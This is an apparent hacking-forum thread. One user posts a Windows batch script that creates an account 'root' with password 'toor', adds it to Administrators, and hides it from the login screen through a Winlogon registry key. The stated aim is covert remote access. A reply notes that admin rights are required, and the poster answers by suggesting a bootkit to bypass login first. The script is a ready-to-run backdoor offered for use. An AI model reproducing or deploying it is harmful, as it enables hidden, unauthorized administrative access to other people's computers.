[INFACT]

Code

@echo off

rem add the user root
net user root toor /add

rem MAKE ADMIN!!!

net localgroup Administrators root /add

rem hide the user from the login screen
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /d 0 /v root /t reg_dword /f

This code adds the user root with the password toor to the admin group (makes him admin) and hides the user from the loginscreen, so nobody can see it from there.
just try it on your machine, and look if you can see the user from the login screen. THen try to dial in remotely.

Tested on windows 7 ultimate


INFACT

[Joey K]

1. You need to be an administrator

2. Wrong section

[INFACT]

Well, you can use a bootkit (konboot) to login as Administrator then run the script and dial in from somewhere else...